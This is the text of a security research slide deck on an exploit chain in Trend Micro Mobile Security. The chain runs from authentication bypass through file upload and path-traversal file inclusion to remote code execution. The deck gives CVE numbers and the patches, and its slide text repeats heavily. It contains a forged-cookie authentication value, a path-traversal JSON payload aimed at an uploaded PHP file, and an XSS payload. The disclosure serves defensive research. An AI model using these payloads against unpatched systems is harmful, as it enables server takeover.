Vulnerable code 

// Mobile Security/web/widget/inc/class/user/User.php

public function product_user_init(){

    $email = product_get_session_username();

    if(false == $this->recover_session_byemail($email)){

        // no previous session

        // load user

        if(false == $this->loaduser_byemail($email)){

            // create the user

            if(! $this->create_user($email)){

               // ...

            }

        }

        $this->binduser();

        $this->createCookieForPage();

    }

    return true;

}

Vulnerable code 



Chain #2: Auth Bypass to (Limited) File  
       Upload w/ (Limited) LFI to RCE 

Auth 
Bypass Analysis  Auth 

Bypass Analysis Analysis Auth
Bypass

// Mobile Security/web/widget/index.php

/*

* Session Management (check authentication status)

*/

require_once(dirname(__FILE__).'/inc/class/user/User.php');

$wfuser = new WFUser();

if( !$wfuser->isFailed() ) {

    if( false == $wfuser->product_user_init() ) {

    }

}

Vulnerable code 

// Mobile Security/web/widget/inc/class/user/User.php

public function product_user_init(){

    $email = product_get_session_username();

    if(false == $this->recover_session_byemail($email)){

        // no previous session

        // load user

        if(false == $this->loaduser_byemail($email)){

            // create the user

            if(! $this->create_user($email)){

               // ...

            }

        }

        $this->binduser();

        $this->createCookieForPage();

    }

    return true;

}

Vulnerable code 



Chain #2: Auth Bypass to (Limited) File  
       Upload w/ (Limited) LFI to RCE 

Auth 
Bypass Analysis  Auth 

Bypass Analysis Analysis Auth
Bypass

// Mobile Security/web/widget/index.php

/*

* Session Management (check authentication status)

*/

require_once(dirname(__FILE__).'/inc/class/user/User.php');

$wfuser = new WFUser();

if( !$wfuser->isFailed() ) {

    if( false == $wfuser->product_user_init() ) {

    }

}

Vulnerable code 

// Mobile Security/web/widget/inc/class/user/User.php

public function product_user_init(){

    $email = product_get_session_username();

    if(false == $this->recover_session_byemail($email)){

        // no previous session

        // load user

        if(false == $this->loaduser_byemail($email)){

            // create the user

            if(! $this->create_user($email)){

               // ...

            }

        }

        $this->binduser();

        $this->createCookieForPage();

    }

    return true;

}

// Mobile Security/web/widget/inc/class/user/User.php

public function create_user($email, $password = ''){

    $newuser = array();

    $newuser["email"] = $email;

    $newuser["pass"] = $password;

    $this->userdb->add_users($newuser);

}

Vulnerable code 



Chain #2: Auth Bypass to (Limited) File  
       Upload w/ (Limited) LFI to RCE 

Auth 
Bypass Analysis  Auth 

Bypass Analysis Analysis Auth
Bypass

// Mobile Security/web/widget/index.php

/*

* Session Management (check authentication status)

*/

require_once(dirname(__FILE__).'/inc/class/user/User.php');

$wfuser = new WFUser();

if( !$wfuser->isFailed() ) {

    if( false == $wfuser->product_user_init() ) {

    }

}

Vulnerable code 

// Mobile Security/web/widget/inc/class/user/User.php

public function product_user_init(){

    $email = product_get_session_username();

    if(false == $this->recover_session_byemail($email)){

        // no previous session

        // load user

        if(false == $this->loaduser_byemail($email)){

            // create the user

            if(! $this->create_user($email)){

               // ...

            }

        }

        $this->binduser();

        $this->createCookieForPage();

    }

    return true;

}

// Mobile Security/web/widget/inc/class/user/User.php

public function create_user($email, $password = ''){

    $newuser = array();

    $newuser["email"] = $email;

    $newuser["pass"] = $password;

    $this->userdb->add_users($newuser);

}
// Mobile Security/web/widget/inc/class/common/db/GenericDao.php

public function add_users($tblinfo) {

    $sqlstring = 'INSERT into ' . $this->users_table . ' (email, pass, data, cdata, udata, pdata, lang, 

theme) VALUES ( :email, :pass, :data, :cdata, :udata, :pdata, :lang, :theme)';

    $sqlvalues[':email'] = $tblinfo["email"];

    $sqlvalues[':pass'] = $tblinfo["pass"];

    // ...

    return $this->runSQL($sqlstring, $sqlvalues, "Adding [" . $this->users_table . "] failed", 1);

}

Vulnerable code 



Chain #2: Auth Bypass to (Limited) File  
       Upload w/ (Limited) LFI to RCE 

Auth 
Bypass Analysis 



Chain #2: Auth Bypass to (Limited) File  
       Upload w/ (Limited) LFI to RCE 

Auth 
Bypass Analysis 



Chain #2: Auth Bypass to (Limited) File  
       Upload w/ (Limited) LFI to RCE 

Auth 
Bypass Analysis  Auth 

Bypass Analysis Analysis Auth
Bypass

// Mobile Security/web/widget/index.php

/*

* Session Management (check authentication status)

*/

require_once(dirname(__FILE__).'/inc/class/user/User.php');

$wfuser = new WFUser();

if( !$wfuser->isFailed() ) {

    if( false == $wfuser->product_user_init() ) {

    }

}

Vulnerable code 

// Mobile Security/web/widget/inc/class/user/User.php

public function product_user_init(){

    $email = product_get_session_username();

    if(false == $this->recover_session_byemail($email)){

        // no previous session

        // load user

        if(false == $this->loaduser_byemail($email)){

            // create the user

            if(! $this->create_user($email)){

               // ...

            }

        }

        $this->binduser();

        $this->createCookieForPage();

    }

    return true;

}

Vulnerable code 



Chain #2: Auth Bypass to (Limited) File  
       Upload w/ (Limited) LFI to RCE 

Auth 
Bypass Analysis  Auth 

Bypass Analysis Analysis Auth
Bypass

// Mobile Security/web/widget/index.php

/*

* Session Management (check authentication status)

*/

require_once(dirname(__FILE__).'/inc/class/user/User.php');

$wfuser = new WFUser();

if( !$wfuser->isFailed() ) {

    if( false == $wfuser->product_user_init() ) {

    }

}

Vulnerable code 

// Mobile Security/web/widget/inc/class/user/User.php

public function product_user_init(){

    $email = product_get_session_username();

    if(false == $this->recover_session_byemail($email)){

        // no previous session

        // load user

        if(false == $this->loaduser_byemail($email)){

            // create the user

            if(! $this->create_user($email)){

               // ...

            }

        }

        $this->binduser();

        $this->createCookieForPage();

    }

    return true;

}

// Mobile Security/web/widget/inc/class/user/User.php

public function binduser(){

    $_SESSION['uniqueid'] = $this->gencode();

    $_SESSION['uid'] = $this->userinfo['id'];

    setcookie("userID", $this->userinfo['id'], 0, WF_COOKIE_PATH);

    // the final step of binding

    $this->auth = true;

}

Vulnerable code 



Chain #2: Auth Bypass to (Limited) File  
       Upload w/ (Limited) LFI to RCE 

Auth 
Bypass Analysis 



To authenticate → Cookie: session_info=,foobar

session_info

PHPSESSID

session_info is bound to PHPSESSID! 

Therefore… Generating valid session_info = authentication bypassed! 

Chain #2: Auth Bypass to (Limited) File  
       Upload w/ (Limited) LFI to RCE 

Auth 
Bypass Analysis 



Chain #2: Auth Bypass to (Limited) File  
       Upload w/ (Limited) LFI to RCE 

File 
Upload 

Auth 
Bypass Analysis 



Chain #2: Auth Bypass to (Limited) File  
       Upload w/ (Limited) LFI to RCE 

File 
Upload 

Auth 
Bypass Analysis 

// Mobile Security/web/widget/repository/widgetPool/wp1/proxy/modTMMSPM/proxy.php

public function proxy_exec() {

    if (!$this->RetriveData()) { ... }

}

$postData['tmms_action'] = $this->cgiArgs['tmms_action'];

private function RetriveData() {

    switch($postData['tmms_action']) {

        case 'set_certificates_config': {                                             

            $fileName = $this->GetFileName($_FILES['cert_file_name']['name']);

            $tempFile = dirname($_FILES['cert_file_name']['tmp_name'])."\\".$fileName;

            if(!move_uploaded_file($_FILES['cert_file_name']['tmp_name'],$tempFile)) { ... }

        }

    }

}

Vulnerable code 



Chain #2: Auth Bypass to (Limited) File  
       Upload w/ (Limited) LFI to RCE 

File 
Upload 

Auth 
Bypass Analysis 

// Mobile Security/web/widget/repository/widgetPool/wp1/proxy/modTMMSPM/proxy.php

public function proxy_exec() {

    if (!$this->RetriveData()) { ... }

}

$postData['tmms_action'] = $this->cgiArgs['tmms_action'];

private function RetriveData() {

    switch($postData['tmms_action']) {

        case 'set_certificates_config': {                                             

            $fileName = $this->GetFileName($_FILES['cert_file_name']['name']);

            $tempFile = dirname($_FILES['cert_file_name']['tmp_name'])."\\".$fileName;

            if(!move_uploaded_file($_FILES['cert_file_name']['tmp_name'],$tempFile)) { ... }

        }

    }

}

Vulnerable code 



Chain #2: Auth Bypass to (Limited) File  
       Upload w/ (Limited) LFI to RCE 

File 
Upload 

Auth 
Bypass Analysis 

// Mobile Security/web/widget/repository/widgetPool/wp1/proxy/modTMMSPM/proxy.php

public function proxy_exec() {

    if (!$this->RetriveData()) { ... }

}

$postData['tmms_action'] = $this->cgiArgs['tmms_action'];

private function RetriveData() {

    switch($postData['tmms_action']) {

        case 'set_certificates_config': {                                             

            $fileName = $this->GetFileName($_FILES['cert_file_name']['name']);

            $tempFile = dirname($_FILES['cert_file_name']['tmp_name'])."\\".$fileName;

            if(!move_uploaded_file($_FILES['cert_file_name']['tmp_name'],$tempFile)) { ... }

        }

    }

}

Vulnerable code 



Chain #2: Auth Bypass to (Limited) File  
       Upload w/ (Limited) LFI to RCE 

File 
Upload 

Auth 
Bypass Analysis 



Chain #2: Auth Bypass to (Limited) File  
       Upload w/ (Limited) LFI to RCE 

File 
Upload 

Auth 
Bypass Analysis 



C:\Windows\Temp\rce.php

require[_once]

include[_once]
“/path/to/somewhere/” . 

“../../../Windows/Temp/rce.php”;

Chain #2: Auth Bypass to (Limited) File  
       Upload w/ (Limited) LFI to RCE  LFI File 

Upload 
Auth 

Bypass Analysis 



require_once (“/path/to/somewhere/” . $controllable . “PoolManager.php”); 

C:\Windows\Temp\rce.php

require[_once]

include[_once]
“/path/to/somewhere/” . 

“../../../Windows/Temp/rce.php”;

Chain #2: Auth Bypass to (Limited) File  
       Upload w/ (Limited) LFI to RCE  LFI File 

Upload 
Auth 

Bypass Analysis 



// Mobile Security/web/widget/inc/class/widgetPool/WidgetPoolFactory.abstract.php

public function getWidgetPoolManager($strUpdateType = 'widget'){

    if(! isset(self::$instance[__FUNCTION__][$strUpdateType])){

        $strFileName = $this->objFramework->getTypeFactory()->getString()

->getUpperCamelCase($strUpdateType);

        require_once (self::getDirnameFile() . '/widget/'.$strFileName.'PoolManager.php');

    }

}

Vulnerable code 

Chain #2: Auth Bypass to (Limited) File  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// Mobile Security/web/widget/inc/class/widgetPool/WidgetPoolFactory.abstract.php

public function getWidgetPoolManager($strUpdateType = 'widget'){

    if(! isset(self::$instance[__FUNCTION__][$strUpdateType])){

        $strFileName = $this->objFramework->getTypeFactory()->getString()

->getUpperCamelCase($strUpdateType);

        require_once (self::getDirnameFile() . '/widget/'.$strFileName.'PoolManager.php');

    }

}

Vulnerable code 



// Mobile Security/web/widget/inc/class/widgetPool/WidgetPoolFactory.abstract.php

public function getWidgetPoolManager($strUpdateType = 'widget'){

    if(! isset(self::$instance[__FUNCTION__][$strUpdateType])){

        $strFileName = $this->objFramework->getTypeFactory()->getString()

->getUpperCamelCase($strUpdateType);

        require_once (self::getDirnameFile() . '/widget/'.$strFileName.'PoolManager.php');

    }

}

Vulnerable code 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Chain #2: Auth Bypass to (Limited) File  
       Upload w/ (Limited) LFI to RCE  LFI File 

Upload 
Auth 

Bypass Analysis 

Vulnerable code 
// Mobile Security/web/widget/inc/class/widgetPool/WidgetPoolFactory.abstract.php

public function getWidgetPoolManager($strUpdateType = 'widget'){

    if(! isset(self::$instance[__FUNCTION__][$strUpdateType])){

        $strFileName = $this->objFramework->getTypeFactory()->getString()

->getUpperCamelCase($strUpdateType);

        require_once (self::getDirnameFile() . '/widget/'.$strFileName.'PoolManager.php');

    }

}

// Mobile Security/web/widget/inc/class/common/type/String.php

public function getUpperCamelCase($str){

    $str = strtolower($str);

    $isUnderscore = false;

    if(false !== strpos($str, '_')){

        $str = str_replace('_', ' ', $str);

        $isUnderscore = true;

    }

    $str = strtolower($str);

    $str = ucwords($str);

    if(true === $isUnderscore){

        $str = str_replace(' ', '', $str);

    }

    return $str;

}



Chain #2: Auth Bypass to (Limited) File  
       Upload w/ (Limited) LFI to RCE  LFI File 

Upload 
Auth 

Bypass Analysis 

Vulnerable code 
// Mobile Security/web/widget/inc/class/widgetPool/WidgetPoolFactory.abstract.php

public function getWidgetPoolManager($strUpdateType = 'widget'){

    if(! isset(self::$instance[__FUNCTION__][$strUpdateType])){

        $strFileName = $this->objFramework->getTypeFactory()->getString()

->getUpperCamelCase($strUpdateType);

        require_once (self::getDirnameFile() . '/widget/'.$strFileName.'PoolManager.php');

    }

}

// Mobile Security/web/widget/inc/class/common/type/String.php

public function getUpperCamelCase($str){

    $str = strtolower($str);

    $isUnderscore = false;

    if(false !== strpos($str, '_')){

        $str = str_replace('_', ' ', $str);

        $isUnderscore = true;

    }

    $str = strtolower($str);

    $str = ucwords($str);

    if(true === $isUnderscore){

        $str = str_replace(' ', '', $str);

    }

    return $str;

}
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 LFI File 
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// Mobile Security/web/widget/inc/widget_package_manager.php

$widgetRequest = json_decode(file_get_contents("php://input"), true);

switch($widgetRequest['act']){

    case "check":

        try{

            $strUpdateType = isset($widgetRequest['update_type']) ? 

$widgetRequest['update_type'] : 'widget';

            $isUpdate = WF::getWidgetPoolFactory()->getWidgetPoolManager($strUpdateType)->$strFuncName();

Vulnerable code 

Chain #2: Auth Bypass to (Limited) File  
       Upload w/ (Limited) LFI to RCE  LFI File 

Upload 
Auth 

Bypass Analysis 



// Mobile Security/web/widget/inc/widget_package_manager.php

$widgetRequest = json_decode(file_get_contents("php://input"), true);

switch($widgetRequest['act']){

    case "check":

        try{

            $strUpdateType = isset($widgetRequest['update_type']) ? 

$widgetRequest['update_type'] : 'widget';

            $isUpdate = WF::getWidgetPoolFactory()->getWidgetPoolManager($strUpdateType)->$strFuncName();

{

    "act":"check",

    "update_type": "<PATH_TRAVERSAL_PAYLOAD>"

}

Vulnerable code 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// Mobile Security/web/widget/inc/widget_package_manager.php

$widgetRequest = json_decode(file_get_contents("php://input"), true);

switch($widgetRequest['act']){

    case "check":

        try{

            $strUpdateType = isset($widgetRequest['update_type']) ? 

$widgetRequest['update_type'] : 'widget';

            $isUpdate = WF::getWidgetPoolFactory()->getWidgetPoolManager($strUpdateType)->$strFuncName();

{

    "act":"check",

    "update_type": "..\\..\\..\\..\\..\\windows\\temp\\"

}

Vulnerable code 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File 

Upload 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Chain #2: Auth Bypass to (Limited) File  
       Upload w/ (Limited) LFI to RCE  LFI File 

Upload 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Exploitation Chain #2: Auth Bypass to (Limited) File  
       Upload w/ (Limited) LFI to RCE 

https://docs.google.com/file/d/1nznrg3H612iiJfs_mSSLtEFO9j0_G2ce/preview
https://docs.google.com/file/d/1nznrg3H612iiJfs_mSSLtEFO9j0_G2ce/preview


Unpatched  Patched 

Chain #2: Auth Bypass to (Limited) File  
       Upload w/ (Limited) LFI to RCE  Review 



Unpatched  Patched 

session_info

PHPSESSID

TMMStoken

Chain #2: Auth Bypass to (Limited) File  
       Upload w/ (Limited) LFI to RCE  Review 



Unpatched  Patched 

Chain #2: Auth Bypass to (Limited) File  
       Upload w/ (Limited) LFI to RCE  Review 



Unpatched  Patched 

Only allow: .cer, .p12, .pfx, .pem

Chain #2: Auth Bypass to (Limited) File  
       Upload w/ (Limited) LFI to RCE  Review 



Unpatched  Patched 

Chain #2: Auth Bypass to (Limited) File  
       Upload w/ (Limited) LFI to RCE  Review 



Unpatched  Patched 

Only allow: “Widget”, “WidgetComponent”, 
“ConfigureWidget”, “ConfigureWidgetAndWidgetComponent”

Chain #2: Auth Bypass to (Limited) File  
       Upload w/ (Limited) LFI to RCE  Review 



● Trend Micro Mobile Security (Enterprise) 
● Full chain from pre-auth to RCE (CVSSv3.1 score 9.8) 

○ CVE-2023-32523 – Authentication Bypass 
○ CVE-2023-32525 – (Limited) File Upload 
○ CVE-2023-32527 – (Limited) Local File Inclusion 

● Not 1 but 2 chains (/widget and /widgetforsecurity): 
○ CVE-2023-32524 – Authentication Bypass 
○ CVE-2023-32526 – (Limited) File Upload 
○ CVE-2023-32528 – (Limited) Local File Inclusion 

Chain #2: Auth Bypass to (Limited) File  
       Upload w/ (Limited) LFI to RCE  Review 



Chain #3 - ??? RCE  
Trend Micro Apex Central 



● Trend Micro Apex Central 
● Primitives that are unexploitable on its own 

○ Primitive #1 
○ Primitive #2 
○ Primitive #3 
○ Primitive #N …? 

Chain #3: ??? RCE 



Exploitation Chain #3: ??? RCE 



Exploitation Chain #3: ??? RCE 

https://docs.google.com/file/d/1cqr-dS2WnDKBHv8En-bzFMRMTs0a5I2I/preview
https://docs.google.com/file/d/1cqr-dS2WnDKBHv8En-bzFMRMTs0a5I2I/preview


Review 

● Searching for variants paid off 
● Primitives were similar to other Trend Micro products 
● Unexploitable on their own, however 

Chain #3: ??? RCE 



Additional vulnerabilities 



Additional Vulns  XSS 



XSS Additional Vulns 

”-alert(document.domain);//



SSRF Additional Vulns 

https://docs.google.com/file/d/13znCplsvZ-zTLKCQXbo8aYFOLHUh2lXh/preview
https://docs.google.com/file/d/13znCplsvZ-zTLKCQXbo8aYFOLHUh2lXh/preview


SSRF Additional Vulns 

https://docs.google.com/file/d/1qL_muxMLRC8UVl4HncOYjghySfh9PgdY/preview
https://docs.google.com/file/d/1qL_muxMLRC8UVl4HncOYjghySfh9PgdY/preview


Originally, there are a few more individual bugs that I wanted to talk 
about today, but they are still pending in the pipelines :( 

Additional Vulns 



Future Research and 
Conclusion 



List of                     enterprise applications 

Future research and conclusion 



public function foo($bar){

        require_once (SOME_CONSTANT.'/widget/'.$bar.'X.php');

}

Future research and conclusion 



Future research and conclusion 



Future research and conclusion 



Thank you! 
 
Questions? 

POH Jia Hao (@Chocologicall) 
STAR Labs SG Pte. Ltd. 


